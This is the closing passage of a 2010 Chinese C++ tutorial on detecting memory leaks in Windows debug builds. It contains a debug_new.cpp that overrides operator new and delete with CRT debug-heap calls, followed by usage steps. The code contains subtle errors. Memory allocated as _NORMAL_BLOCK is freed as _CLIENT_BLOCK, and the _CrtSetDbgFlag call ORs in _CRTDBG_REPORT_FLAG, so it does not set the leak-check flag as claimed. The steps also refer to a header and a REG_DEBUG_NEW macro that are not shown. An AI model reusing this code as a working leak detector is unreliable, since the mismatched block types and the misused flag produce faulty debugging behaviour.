// debug_new.cpp
#ifdef _DEBUG
#include <windows.h>
#include <crtdbg.h>
class _CriSec
{
CRITICAL_SECTION criSection;
public:
_CriSec(){InitializeCriticalSection(&criSection);}
~_CriSec(){DeleteCriticalSection(&criSection);}
void Enter(){EnterCriticalSection(&criSection);}
void Leave(){LeaveCriticalSection(&criSection);}
}_cs;
void _RegDebugNew(void)
{
_CrtSetDbgFlag(_CRTDBG_REPORT_FLAG | _CRTDBG_LEAK_CHECK_DF);
}
void * __cdecl operator new(size_t nSize, const char* lpszFileName, int nLine)
{
_cs.Enter();
void *p = _malloc_dbg(nSize, _NORMAL_BLOCK, lpszFileName, nLine);
_cs.Leave();
return p;
}
void __cdecl operator delete(void *p, const char* /*lpszFileName*/, int /*nLine*/)
{
_cs.Enter();
_free_dbg(p, _CLIENT_BLOCK);
_cs.Leave();
}
#endif
源码就这么点儿,很小巧吧,下面我说下如何使用:
1、 将上面的两个文件添加到工程中。并在需要检测内存泄露的CPP文件最开始加入如下预定义:
#define _CRTDBG_MAP_ALLOC
2、 由于我们要使用CRT调试堆函数,所以宏定义的下方加入如下头文件:
#include <stdlib.h>
#include <crtdbg.h>
3、 在main函数的开始出加入 REG_DEBUG_NEW;
4、 在代码中调用_CrtDumpMemoryLeaks();函数
这样程序就会在调试输出窗口中显示出内存泄露相关的信息如下图:
八、 后话
这些专题中写的内容比较杂乱,大家不必将所讲内容全部掌握,但一定要细心调试,理解堆跟栈的概念以及debug模式下它们的内存结构,这样不仅有助于我们以后写程序时的代码排错,也有助于我们编写安全的代码。
最后祝大家 万事顺心,心想事成。
-------besterChen
2010年1月13日星期三
写于湖北武汉科锐培训